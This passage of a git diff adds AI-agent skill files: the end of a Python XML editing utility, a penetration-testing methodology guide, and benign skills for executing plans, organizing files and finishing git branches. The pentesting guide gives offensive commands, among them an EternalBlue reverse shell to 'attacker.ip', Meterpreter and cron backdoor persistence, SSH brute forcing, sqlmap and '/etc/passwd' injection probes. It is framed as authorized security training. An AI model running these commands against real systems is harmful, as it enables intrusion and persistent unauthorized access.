"1"}) + line_number: Line number (int) or line range (range) in original XML file (1-indexed) + contains: Text string that must appear in any text node within the element. + Supports both entity notation (“) and Unicode characters (\u201c). + + Returns: + defusedxml.minidom.Element: The matching DOM element + + Raises: + ValueError: If node not found or multiple matches found + + Example: + elem = editor.get_node(tag="w:r", line_number=519) + elem = editor.get_node(tag="w:r", line_number=range(100, 200)) + elem = editor.get_node(tag="w:del", attrs={"w:id": "1"}) + elem = editor.get_node(tag="w:p", attrs={"w14:paraId": "12345678"}) + elem = editor.get_node(tag="w:commentRangeStart", attrs={"w:id": "0"}) + elem = editor.get_node(tag="w:p", contains="specific text") + elem = editor.get_node(tag="w:t", contains="“Agreement") # Entity notation + elem = editor.get_node(tag="w:t", contains="\u201cAgreement") # Unicode character + """ + matches = [] + for elem in self.dom.getElementsByTagName(tag): + # Check line_number filter + if line_number is not None: + parse_pos = getattr(elem, "parse_position", (None,)) + elem_line = parse_pos[0] + + # Handle both single line number and range + if isinstance(line_number, range): + if elem_line not in line_number: + continue + else: + if elem_line != line_number: + continue + + # Check attrs filter + if attrs is not None: + if not all( + elem.getAttribute(attr_name) == attr_value + for attr_name, attr_value in attrs.items() + ): + continue + + # Check contains filter + if contains is not None: + elem_text = self._get_element_text(elem) + # Normalize the search string: convert HTML entities to Unicode characters + # This allows searching for both "“Rowan" and ""Rowan" + normalized_contains = html.unescape(contains) + if normalized_contains not in elem_text: + continue + + # If all applicable filters passed, this is a match + matches.append(elem) + + if not matches: + # Build descriptive error message + filters = [] + if line_number is not None: + line_str = ( + f"lines {line_number.start}-{line_number.stop - 1}" + if isinstance(line_number, range) + else f"line {line_number}" + ) + filters.append(f"at {line_str}") + if attrs is not None: + filters.append(f"with attributes {attrs}") + if contains is not None: + filters.append(f"containing '{contains}'") + + filter_desc = " ".join(filters) if filters else "" + base_msg = f"Node not found: <{tag}> {filter_desc}".strip() + + # Add helpful hint based on filters used + if contains: + hint = "Text may be split across elements or use different wording." + elif line_number: + hint = "Line numbers may have changed if document was modified." + elif attrs: + hint = "Verify attribute values are correct." + else: + hint = "Try adding filters (attrs, line_number, or contains)." + + raise ValueError(f"{base_msg}. {hint}") + if len(matches) > 1: + raise ValueError( + f"Multiple nodes found: <{tag}>. " + f"Add more filters (attrs, line_number, or contains) to narrow the search." + ) + return matches[0] + + def _get_element_text(self, elem): + """ + Recursively extract all text content from an element. + + Skips text nodes that contain only whitespace (spaces, tabs, newlines), + which typically represent XML formatting rather than document content. + + Args: + elem: defusedxml.minidom.Element to extract text from + + Returns: + str: Concatenated text from all non-whitespace text nodes within the element + """ + text_parts = [] + for node in elem.childNodes: + if node.nodeType == node.TEXT_NODE: + # Skip whitespace-only text nodes (XML formatting) + if node.data.strip(): + text_parts.append(node.data) + elif node.nodeType == node.ELEMENT_NODE: + text_parts.append(self._get_element_text(node)) + return "".join(text_parts) + + def replace_node(self, elem, new_content): + """ + Replace a DOM element with new XML content. + + Args: + elem: defusedxml.minidom.Element to replace + new_content: String containing XML to replace the node with + + Returns: + List[defusedxml.minidom.Node]: All inserted nodes + + Example: + new_nodes = editor.replace_node(old_elem, "text") + """ + parent = elem.parentNode + nodes = self._parse_fragment(new_content) + for node in nodes: + parent.insertBefore(node, elem) + parent.removeChild(elem) + return nodes + + def insert_after(self, elem, xml_content): + """ + Insert XML content after a DOM element. + + Args: + elem: defusedxml.minidom.Element to insert after + xml_content: String containing XML to insert + + Returns: + List[defusedxml.minidom.Node]: All inserted nodes + + Example: + new_nodes = editor.insert_after(elem, "text") + """ + parent = elem.parentNode + next_sibling = elem.nextSibling + nodes = self._parse_fragment(xml_content) + for node in nodes: + if next_sibling: + parent.insertBefore(node, next_sibling) + else: + parent.appendChild(node) + return nodes + + def insert_before(self, elem, xml_content): + """ + Insert XML content before a DOM element. + + Args: + elem: defusedxml.minidom.Element to insert before + xml_content: String containing XML to insert + + Returns: + List[defusedxml.minidom.Node]: All inserted nodes + + Example: + new_nodes = editor.insert_before(elem, "text") + """ + parent = elem.parentNode + nodes = self._parse_fragment(xml_content) + for node in nodes: + parent.insertBefore(node, elem) + return nodes + + def append_to(self, elem, xml_content): + """ + Append XML content as a child of a DOM element. + + Args: + elem: defusedxml.minidom.Element to append to + xml_content: String containing XML to append + + Returns: + List[defusedxml.minidom.Node]: All inserted nodes + + Example: + new_nodes = editor.append_to(elem, "text") + """ + nodes = self._parse_fragment(xml_content) + for node in nodes: + elem.appendChild(node) + return nodes + + def get_next_rid(self): + """Get the next available rId for relationships files.""" + max_id = 0 + for rel_elem in self.dom.getElementsByTagName("Relationship"): + rel_id = rel_elem.getAttribute("Id") + if rel_id.startswith("rId"): + try: + max_id = max(max_id, int(rel_id[3:])) + except ValueError: + pass + return f"rId{max_id + 1}" + + def save(self): + """ + Save the edited XML back to the file. + + Serializes the DOM tree and writes it back to the original file path, + preserving the original encoding (ascii or utf-8). + """ + content = self.dom.toxml(encoding=self.encoding) + self.xml_path.write_bytes(content) + + def _parse_fragment(self, xml_content): + """ + Parse XML fragment and return list of imported nodes. + + Args: + xml_content: String containing XML fragment + + Returns: + List of defusedxml.minidom.Node objects imported into this document + + Raises: + AssertionError: If fragment contains no element nodes + """ + # Extract namespace declarations from the root document element + root_elem = self.dom.documentElement + namespaces = [] + if root_elem and root_elem.attributes: + for i in range(root_elem.attributes.length): + attr = root_elem.attributes.item(i) + if attr.name.startswith("xmlns"): # type: ignore + namespaces.append(f'{attr.name}="{attr.value}"') # type: ignore + + ns_decl = " ".join(namespaces) + wrapper = f"{xml_content}" + fragment_doc = defusedxml.minidom.parseString(wrapper) + nodes = [ + self.dom.importNode(child, deep=True) + for child in fragment_doc.documentElement.childNodes # type: ignore + ] + elements = [n for n in nodes if n.nodeType == n.ELEMENT_NODE] + assert elements, "Fragment must contain at least one element" + return nodes + + +def _create_line_tracking_parser(): + """ + Create a SAX parser that tracks line and column numbers for each element. + + Monkey patches the SAX content handler to store the current line and column + position from the underlying expat parser onto each element as a parse_position + attribute (line, column) tuple. + + Returns: + defusedxml.sax.xmlreader.XMLReader: Configured SAX parser + """ + + def set_content_handler(dom_handler): + def startElementNS(name, tagName, attrs): + orig_start_cb(name, tagName, attrs) + cur_elem = dom_handler.elementStack[-1] + cur_elem.parse_position = ( + parser._parser.CurrentLineNumber, # type: ignore + parser._parser.CurrentColumnNumber, # type: ignore + ) + + orig_start_cb = dom_handler.startElementNS + dom_handler.startElementNS = startElementNS + orig_set_content_handler(dom_handler) + + parser = defusedxml.sax.make_parser() + orig_set_content_handler = parser.setContentHandler + parser.setContentHandler = set_content_handler # type: ignore + return parser diff --git a/skills/ethical-hacking-methodology/SKILL.md b/skills/ethical-hacking-methodology/SKILL.md new file mode 100644 index 00000000..cef277a4 --- /dev/null +++ b/skills/ethical-hacking-methodology/SKILL.md @@ -0,0 +1,463 @@ +--- +name: Ethical Hacking Methodology +description: This skill should be used when the user asks to "learn ethical hacking", "understand penetration testing lifecycle", "perform reconnaissance", "conduct security scanning", "exploit vulnerabilities", or "write penetration test reports". It provides comprehensive ethical hacking methodology and techniques. +--- + +# Ethical Hacking Methodology + +## Purpose + +Master the complete penetration testing lifecycle from reconnaissance through reporting. This skill covers the five stages of ethical hacking methodology, essential tools, attack techniques, and professional reporting for authorized security assessments. + +## Prerequisites + +### Required Environment +- Kali Linux installed (persistent or live) +- Network access to authorized targets +- Written authorization from system owner + +### Required Knowledge +- Basic networking concepts +- Linux command-line proficiency +- Understanding of web technologies +- Familiarity with security concepts + +## Outputs and Deliverables + +1. **Reconnaissance Report** - Target information gathered +2. **Vulnerability Assessment** - Identified weaknesses +3. **Exploitation Evidence** - Proof of concept attacks +4. **Final Report** - Executive and technical findings + +## Core Workflow + +### Phase 1: Understanding Hacker Types + +Classification of security professionals: + +**White Hat Hackers (Ethical Hackers)** +- Authorized security professionals +- Conduct penetration testing with permission +- Goal: Identify and fix vulnerabilities +- Also known as: penetration testers, security consultants + +**Black Hat Hackers (Malicious)** +- Unauthorized system intrusions +- Motivated by profit, revenge, or notoriety +- Goal: Steal data, cause damage +- Also known as: crackers, criminal hackers + +**Grey Hat Hackers (Hybrid)** +- May cross ethical boundaries +- Not malicious but may break rules +- Often disclose vulnerabilities publicly +- Mixed motivations + +**Other Classifications** +- **Script Kiddies**: Use pre-made tools without understanding +- **Hacktivists**: Politically or socially motivated +- **Nation State**: Government-sponsored operatives +- **Coders**: Develop tools and exploits + +### Phase 2: Reconnaissance + +Gather information without direct system interaction: + +**Passive Reconnaissance** +```bash +# WHOIS lookup +whois target.com + +# DNS enumeration +nslookup target.com +dig target.com ANY +dig target.com MX +dig target.com NS + +# Subdomain discovery +dnsrecon -d target.com + +# Email harvesting +theHarvester -d target.com -b all +``` + +**Google Hacking (OSINT)** +``` +# Find exposed files +site:target.com filetype:pdf +site:target.com filetype:xls +site:target.com filetype:doc + +# Find login pages +site:target.com inurl:login +site:target.com inurl:admin + +# Find directory listings +site:target.com intitle:"index of" + +# Find configuration files +site:target.com filetype:config +site:target.com filetype:env +``` + +**Google Hacking Database Categories:** +- Files containing passwords +- Sensitive directories +- Web server detection +- Vulnerable servers +- Error messages +- Login portals + +**Social Media Reconnaissance** +- LinkedIn: Organizational charts, technologies used +- Twitter: Company announcements, employee info +- Facebook: Personal information, relationships +- Job postings: Technology stack revelations + +### Phase 3: Scanning + +Active enumeration of target systems: + +**Host Discovery** +```bash +# Ping sweep +nmap -sn 192.168.1.0/24 + +# ARP scan (local network) +arp-scan -l + +# Discover live hosts +nmap -sP 192.168.1.0/24 +``` + +**Port Scanning** +```bash +# TCP SYN scan (stealth) +nmap -sS target.com + +# Full TCP connect scan +nmap -sT target.com + +# UDP scan +nmap -sU target.com + +# All ports scan +nmap -p- target.com + +# Top 1000 ports with service detection +nmap -sV target.com + +# Aggressive scan (OS, version, scripts) +nmap -A target.com +``` + +**Service Enumeration** +```bash +# Specific service scripts +nmap --script=http-enum target.com +nmap --script=smb-enum-shares target.com +nmap --script=ftp-anon target.com + +# Vulnerability scanning +nmap --script=vuln target.com +``` + +**Common Port Reference** +| Port | Service | Notes | +|------|---------|-------| +| 21 | FTP | File transfer | +| 22 | SSH | Secure shell | +| 23 | Telnet | Unencrypted remote | +| 25 | SMTP | Email | +| 53 | DNS | Name resolution | +| 80 | HTTP | Web | +| 443 | HTTPS | Secure web | +| 445 | SMB | Windows shares | +| 3306 | MySQL | Database | +| 3389 | RDP | Remote desktop | + +### Phase 4: Vulnerability Analysis + +Identify exploitable weaknesses: + +**Automated Scanning** +```bash +# Nikto web scanner +nikto -h http://target.com + +# OpenVAS (command line) +omp -u admin -w password --xml="" + +# Nessus (via API) +nessuscli scan --target target.com +``` + +**Web Application Testing (OWASP)** +- SQL Injection +- Cross-Site Scripting (XSS) +- Broken Authentication +- Security Misconfiguration +- Sensitive Data Exposure +- XML External Entities (XXE) +- Broken Access Control +- Insecure Deserialization +- Using Components with Known Vulnerabilities +- Insufficient Logging & Monitoring + +**Manual Techniques** +```bash +# Directory brute forcing +gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt + +# Subdomain enumeration +gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt + +# Web technology fingerprinting +whatweb target.com +``` + +### Phase 5: Exploitation + +Actively exploit discovered vulnerabilities: + +**Metasploit Framework** +```bash +# Start Metasploit +msfconsole + +# Search for exploits +msf> search type:exploit name:smb + +# Use specific exploit +msf> use exploit/windows/smb/ms17_010_eternalblue + +# Set target +msf> set RHOSTS target.com + +# Set payload +msf> set PAYLOAD windows/meterpreter/reverse_tcp +msf> set LHOST attacker.ip + +# Execute +msf> exploit +``` + +**Password Attacks** +```bash +# Hydra brute force +hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com +hydra -L users.txt -P passwords.txt ftp://target.com + +# John the Ripper +john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt +``` + +**Web Exploitation** +```bash +# SQLMap for SQL injection +sqlmap -u "http://target.com/page.php?id=1" --dbs +sqlmap -u "http://target.com/page.php?id=1" -D database --tables + +# XSS testing +# Manual: + +# Command injection testing +# ; ls -la +# | cat /etc/passwd +``` + +### Phase 6: Maintaining Access + +Establish persistent access: + +**Backdoors** +```bash +# Meterpreter persistence +meterpreter> run persistence -X -i 30 -p 4444 -r attacker.ip + +# SSH key persistence +# Add attacker's public key to ~/.ssh/authorized_keys + +# Cron job persistence +echo "* * * * * /tmp/backdoor.sh" >> /etc/crontab +``` + +**Privilege Escalation** +```bash +# Linux enumeration +linpeas.sh +linux-exploit-suggester.sh + +# Windows enumeration +winpeas.exe +windows-exploit-suggester.py + +# Check SUID binaries (Linux) +find / -perm -4000 2>/dev/null + +# Check sudo permissions +sudo -l +``` + +**Covering Tracks (Ethical Context)** +- Document all actions taken +- Maintain logs for reporting +- Avoid unnecessary system changes +- Clean up test files and backdoors + +### Phase 7: Reporting + +Document findings professionally: + +**Report Structure** +1. **Executive Summary** + - High-level findings + - Business impact + - Risk ratings + - Remediation priorities + +2. **Technical Findings** + - Vulnerability details + - Proof of concept + - Screenshots/evidence + - Affected systems + +3. **Risk Ratings** + - Critical: Immediate action required + - High: Address within 24-48 hours + - Medium: Address within 1 week + - Low: Address within 1 month + - Informational: Best practice recommendations + +4. **Remediation Recommendations** + - Specific fixes for each finding + - Short-term mitigations + - Long-term solutions + - Resource requirements + +5. **Appendices** + - Detailed scan outputs + - Tool configurations + - Testing timeline + - Scope and methodology + +### Phase 8: Common Attack Types + +**Phishing** +- Email-based credential theft +- Fake login pages +- Malicious attachments +- Social engineering component + +**Malware Types** +- **Virus**: Self-replicating, needs host file +- **Worm**: Self-propagating across networks +- **Trojan**: Disguised as legitimate software +- **Ransomware**: Encrypts files for ransom +- **Rootkit**: Hidden system-level access +- **Spyware**: Monitors user activity + +**Network Attacks** +- Man-in-the-Middle (MITM) +- ARP Spoofing +- DNS Poisoning +- DDoS (Distributed Denial of Service) + +### Phase 9: Kali Linux Setup + +Install penetration testing platform: + +**Hard Disk Installation** +1. Download ISO from kali.org +2. Boot from installation media +3. Select "Graphical Install" +4. Configure language, location, keyboard +5. Set hostname and root password +6. Partition disk (Guided - use entire disk) +7. Install GRUB bootloader +8. Reboot and login + +**Live USB (Persistent)** +```bash +# Create bootable USB +dd if=kali-linux.iso of=/dev/sdb bs=512k status=progress + +# Create persistence partition +gparted /dev/sdb +# Add ext4 partition labeled "persistence" + +# Configure persistence +mkdir /mnt/usb +mount /dev/sdb2 /mnt/usb +echo "/ union" > /mnt/usb/persistence.conf +umount /mnt/usb +``` + +### Phase 10: Ethical Guidelines + +**Legal Requirements** +- Obtain written authorization +- Define scope clearly +- Document all testing activities +- Report all findings to client +- Maintain confidentiality + +**Professional Conduct** +- Work ethically with integrity +- Respect privacy of data accessed +- Avoid unnecessary system damage +- Execute planned tests only +- Never use findings for personal gain + +## Quick Reference + +### Penetration Testing Lifecycle + +| Stage | Purpose | Key Tools | +|-------|---------|-----------| +| Reconnaissance | Gather information | theHarvester, WHOIS, Google | +| Scanning | Enumerate targets | Nmap, Nikto, Gobuster | +| Exploitation | Gain access | Metasploit, SQLMap, Hydra | +| Maintaining Access | Persistence | Meterpreter, SSH keys | +| Reporting | Document findings | Report templates | + +### Essential Commands + +| Command | Purpose | +|---------|---------| +| `nmap -sV target` | Port and service scan | +| `nikto -h target` | Web vulnerability scan | +| `msfconsole` | Start Metasploit | +| `hydra -l user -P list ssh://target` | SSH brute force | +| `sqlmap -u "url?id=1" --dbs` | SQL injection | + +## Constraints and Limitations + +### Authorization Required +- Never test without written permission +- Stay within defined scope +- Report unauthorized access attempts + +### Professional Standards +- Follow rules of engagement +- Maintain client confidentiality +- Document methodology used +- Provide actionable recommendations + +## Troubleshooting + +### Scans Blocked + +**Solutions:** +1. Use slower scan rates +2. Try different scanning techniques +3. Use proxy or VPN +4. Fragment packets + +### Exploits Failing + +**Solutions:** +1. Verify target vulnerability exists +2. Check payload compatibility +3. Adjust exploit parameters +4. Try alternative exploits diff --git a/skills/executing-plans/SKILL.md b/skills/executing-plans/SKILL.md new file mode 100644 index 00000000..ca77290c --- /dev/null +++ b/skills/executing-plans/SKILL.md @@ -0,0 +1,76 @@ +--- +name: executing-plans +description: Use when you have a written implementation plan to execute in a separate session with review checkpoints +--- + +# Executing Plans + +## Overview + +Load plan, review critically, execute tasks in batches, report for review between batches. + +**Core principle:** Batch execution with checkpoints for architect review. + +**Announce at start:** "I'm using the executing-plans skill to implement this plan." + +## The Process + +### Step 1: Load and Review Plan +1. Read plan file +2. Review critically - identify any questions or concerns about the plan +3. If concerns: Raise them with your human partner before starting +4. If no concerns: Create TodoWrite and proceed + +### Step 2: Execute Batch +**Default: First 3 tasks** + +For each task: +1. Mark as in_progress +2. Follow each step exactly (plan has bite-sized steps) +3. Run verifications as specified +4. Mark as completed + +### Step 3: Report +When batch complete: +- Show what was implemented +- Show verification output +- Say: "Ready for feedback." + +### Step 4: Continue +Based on feedback: +- Apply changes if needed +- Execute next batch +- Repeat until complete + +### Step 5: Complete Development + +After all tasks complete and verified: +- Announce: "I'm using the finishing-a-development-branch skill to complete this work." +- **REQUIRED SUB-SKILL:** Use superpowers:finishing-a-development-branch +- Follow that skill to verify tests, present options, execute choice + +## When to Stop and Ask for Help + +**STOP executing immediately when:** +- Hit a blocker mid-batch (missing dependency, test fails, instruction unclear) +- Plan has critical gaps preventing starting +- You don't understand an instruction +- Verification fails repeatedly + +**Ask for clarification rather than guessing.** + +## When to Revisit Earlier Steps + +**Return to Review (Step 1) when:** +- Partner updates the plan based on your feedback +- Fundamental approach needs rethinking + +**Don't force through blockers** - stop and ask. + +## Remember +- Review plan critically first +- Follow plan steps exactly +- Don't skip verifications +- Reference skills when plan says to +- Between batches: just report and wait +- Stop when blocked, don't guess diff --git a/skills/file-organizer/SKILL.md b/skills/file-organizer/SKILL.md new file mode 100644 index 00000000..0af136e9 --- /dev/null +++ b/skills/file-organizer/SKILL.md @@ -0,0 +1,250 @@ +--- +name: file-organizer +description: Intelligently organizes files and folders by understanding context, finding duplicates, and suggesting better organizational structures. Use when user wants to clean up directories, organize downloads, remove duplicates, or restructure projects. +--- + +# File Organizer + +## When to Use This Skill + +- Your Downloads folder is a chaotic mess +- You can't find files because they're scattered everywhere +- You have duplicate files taking up space +- Your folder structure doesn't make sense anymore +- You want to establish better organization habits +- You're starting a new project and need a good structure +- You're cleaning up before archiving old projects + +## What This Skill Does + +1. **Analyzes Current Structure**: Reviews your folders and files to understand what you have +2. **Finds Duplicates**: Identifies duplicate files across your system +3. **Suggests Organization**: Proposes logical folder structures based on your content +4. **Automates Cleanup**: Moves, renames, and organizes files with your approval +5. **Maintains Context**: Makes smart decisions based on file types, dates, and content +6. **Reduces Clutter**: Identifies old files you probably don't need anymore + +## Instructions + +When a user requests file organization help: + +1. **Understand the Scope** + + Ask clarifying questions: + + - Which directory needs organization? (Downloads, Documents, entire home folder?) + - What's the main problem? (Can't find things, duplicates, too messy, no structure?) + - Any files or folders to avoid? (Current projects, sensitive data?) + - How aggressively to organize? (Conservative vs. comprehensive cleanup) + +2. **Analyze Current State** + + Review the target directory: + + ```bash + # Get overview of current structure + ls -la [target_directory] + + # Check file types and sizes + find [target_directory] -type f -exec file {} \; | head -20 + + # Identify largest files + du -sh [target_directory]/* | sort -rh | head -20 + + # Count file types + find [target_directory] -type f | sed 's/.*\.//' | sort | uniq -c | sort -rn + ``` + + Summarize findings: + + - Total files and folders + - File type breakdown + - Size distribution + - Date ranges + - Obvious organization issues + +3. **Identify Organization Patterns** + + Based on the files, determine logical groupings: + + **By Type**: + + - Documents (PDFs, DOCX, TXT) + - Images (JPG, PNG, SVG) + - Videos (MP4, MOV) + - Archives (ZIP, TAR, DMG) + - Code/Projects (directories with code) + - Spreadsheets (XLSX, CSV) + - Presentations (PPTX, KEY) + + **By Purpose**: + + - Work vs. Personal + - Active vs. Archive + - Project-specific + - Reference materials + - Temporary/scratch files + + **By Date**: + + - Current year/month + - Previous years + - Very old (archive candidates) + +4. **Find Duplicates** + + When requested, search for duplicates: + + ```bash + # Find exact duplicates by hash + find [directory] -type f -exec md5 {} \; | sort | uniq -d + + # Find files with similar names + find [directory] -type f -printf '%f\n' | sort | uniq -d + + # Find similar-sized files + find [directory] -type f -printf '%s %p\n' | sort -n + ``` + + For each set of duplicates: + + - Show all file paths + - Display sizes and modification dates + - Recommend which to keep (usually newest or best-named) + - **Important**: Always ask for confirmation before deleting + +5. **Propose Organization Plan** + + Present a clear plan before making changes: + + ```markdown + # Organization Plan for [Directory] + + ## Current State + + - X files across Y folders + - [Size] total + - File types: [breakdown] + - Issues: [list problems] + + ## Proposed Structure + + [Directory]/ + ├── Work/ + │ ├── Projects/ + │ ├── Documents/ + │ └── Archive/ + ├── Personal/ + │ ├── Photos/ + │ ├── Documents/ + │ └── Media/ + └── Downloads/ + ├── To-Sort/ + └── Archive/ + + ## Changes I'll Make + + 1. **Create new folders**: [list] + 2. **Move files**: + - X PDFs → Work/Documents/ + - Y images → Personal/Photos/ + - Z old files → Archive/ + 3. **Rename files**: [any renaming patterns] + 4. **Delete**: [duplicates or trash files] + + ## Files Needing Your Decision + + - [List any files you're unsure about] + + Ready to proceed? (yes/no/modify) + ``` + +6. **Execute Organization** + + After approval, organize systematically: + + ```bash + # Create folder structure + mkdir -p "path/to/new/folders" + + # Move files with clear logging + mv "old/path/file.pdf" "new/path/file.pdf" + + # Rename files with consistent patterns + # Example: "YYYY-MM-DD - Description.ext" + ``` + + **Important Rules**: + + - Always confirm before deleting anything + - Log all moves for potential undo + - Preserve original modification dates + - Handle filename conflicts gracefully + - Stop and ask if you encounter unexpected situations + +7. **Provide Summary and Maintenance Tips** + + After organizing: + + ```markdown + # Organization Complete! ✨ + + ## What Changed + + - Created [X] new folders + - Organized [Y] files + - Freed [Z] GB by removing duplicates + - Archived [W] old files + + ## New Structure + + [Show the new folder tree] + + ## Maintenance Tips + + To keep this organized: + + 1. **Weekly**: Sort new downloads + 2. **Monthly**: Review and archive completed projects + 3. **Quarterly**: Check for new duplicates + 4. **Yearly**: Archive old files + + ## Quick Commands for You + + # Find files modified this week + + find . -type f -mtime -7 + + # Sort downloads by type + + [custom command for their setup] + + # Find duplicates + + [custom command] + ``` + + Want to organize another folder? + +## Best Practices + +### Folder Naming + +- Use clear, descriptive names +- Avoid spaces (use hyphens or underscores) +- Be specific: "client-proposals" not "docs" +- Use prefixes for ordering: "01-current", "02-archive" + +### File Naming + +- Include dates: "2024-10-17-meeting-notes.md" +- Be descriptive: "q3-financial-report.xlsx" +- Avoid version numbers in names (use version control instead) +- Remove download artifacts: "document-final-v2 (1).pdf" → "document.pdf" + +### When to Archive + +- Projects not touched in 6+ months +- Completed work that might be referenced later +- Old versions after migration to new systems +- Files you're hesitant to delete (archive first) diff --git a/skills/finishing-a-development-branch/SKILL.md b/skills/finishing-a-development-branch/SKILL.md new file mode 100644 index 00000000..c308b43b --- /dev/null +++ b/skills/finishing-a-development-branch/SKILL.md @@ -0,0 +1,200 @@ +--- +name: finishing-a-development-branch +description: Use when implementation is complete, all tests pass, and you need to decide how to integrate the work - guides completion of development work by presenting structured options for merge, PR, or cleanup +--- + +# Finishing a Development Branch + +## Overview + +Guide completion of development work by presenting clear options and handling chosen workflow. + +**Core principle:** Verify tests → Present options → Execute choice → Clean up. + +**Announce at start:** "I'm using the finishing-a-development-branch skill to complete this work." + +## The Process + +### Step 1: Verify Tests + +**Before presenting options, verify tests pass:** + +```bash +# Run project's test suite +npm test / cargo test / pytest / go test ./... +``` + +**If tests fail:** +``` +Tests failing ( failures). Must fix before completing: + +[Show failures] + +Cannot proceed with merge/PR until tests pass. +``` + +Stop. Don't proceed to Step 2. + +**If tests pass:** Continue to Step 2. + +### Step 2: Determine Base Branch + +```bash +# Try common base branches +git merge-base HEAD main 2>/dev/null || git merge-base HEAD master 2>/dev/null +``` + +Or ask: "This branch split from main - is that correct?" + +### Step 3: Present Options + +Present exactly these 4 options: + +``` +Implementation complete. What would you like to do? + +1. Merge back to locally +2. Push and create a Pull Request +3. Keep the branch as-is (I'll handle it later) +4. Discard this work + +Which option? +``` + +**Don't add explanation** - keep options concise. + +### Step 4: Execute Choice + +#### Option 1: Merge Locally + +```bash +# Switch to base branch +git checkout + +# Pull latest +git pull + +# Merge feature branch +git merge + +# Verify tests on merged result + + +# If tests pass +git branch -d +``` + +Then: Cleanup worktree (Step 5) + +#### Option 2: Push and Create PR + +```bash +# Push branch +git push -u origin + +# Create PR +gh pr create --title "" --body "$(cat <<'EOF' +## Summary +<2-3 bullets of what changed> + +## Test Plan +- [ ] <verification steps> +EOF +)" +``` + +Then: Cleanup worktree (Step 5) + +#### Option 3: Keep As-Is + +Report: "Keeping branch <name>. Worktree preserved at <path>." + +**Don't cleanup worktree.** + +#### Option 4: Discard + +**Confirm first:** +``` +This will permanently delete: +- Branch <name> +- All commits: <commit-list> +- Worktree at <path> + +Type 'discard' to confirm. +``` + +Wait for exact confirmation. + +If confirmed: +```bash +git checkout <base-branch> +git branch -D <feature-branch> +``` + +Then: Cleanup worktree (Step 5) + +### Step 5: Cleanup Worktree + +**For Options 1, 2, 4:** + +Check if in worktree: +```bash +git worktree list | grep $(git branch --show-current) +``` + +If yes: +```bash +git worktree remove <worktree-path> +``` + +**For Option 3:** Keep worktree. + +## Quick Reference + +| Option | Merge | Push | Keep Worktree | Cleanup Branch | +|--------|-------|------|---------------|----------------| +| 1. Merge locally | ✓ | - | - | ✓ | +| 2. Create PR | - | ✓ | ✓ | - | +| 3. Keep as-is | - | - | ✓ | - | +| 4. Discard | - | - | - | ✓ (force) | + +## Common Mistakes + +**Skipping test verification** +- **Problem:** Merge broken code, create failing PR +- **Fix:** Always verify tests before offering options + +**Open-ended questions** +- **Problem:** "What should I do next?" → ambiguous +- **Fix:** Present exactly 4 structured options + +**Automatic worktree cleanup** +- **Problem:** Remove worktree when might need it (Option 2, 3) +- **Fix:** Only cleanup for Options 1 and 4 + +**No confirmation for discard** +- **Problem:** Accidentally delete work +- **Fix:** Require typed "discard" confirmation + +## Red Flags + +**Never:** +- Proceed with failing tests +- Merge without verifying tests on result +- Delete work without confirmation +- Force-push without explicit request + +**Always:** +- Verify tests before offering options +- Present exactly 4 options +- Get typed confirmation for Option 4 +- Clean up worktree for Options 1 & 4 only + +## Integration + +**Called by:** +- **subagent-driven-development** (Step 7) - After all tasks complete +- **executing-plans** (Step 5) - After all batches complete + +**Pairs with:** +- **using-git-worktrees** - Cleans up worktree created by that skill diff --git a/skills/frontend-design/LICENSE.txt b/skills/frontend-design/LICENSE.txt new file mode 100644 index 00000000..f433b1a5 --- /dev/null +++ b/skills/frontend-design/LICENSE.txt @@ -0,0 +1,177 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any 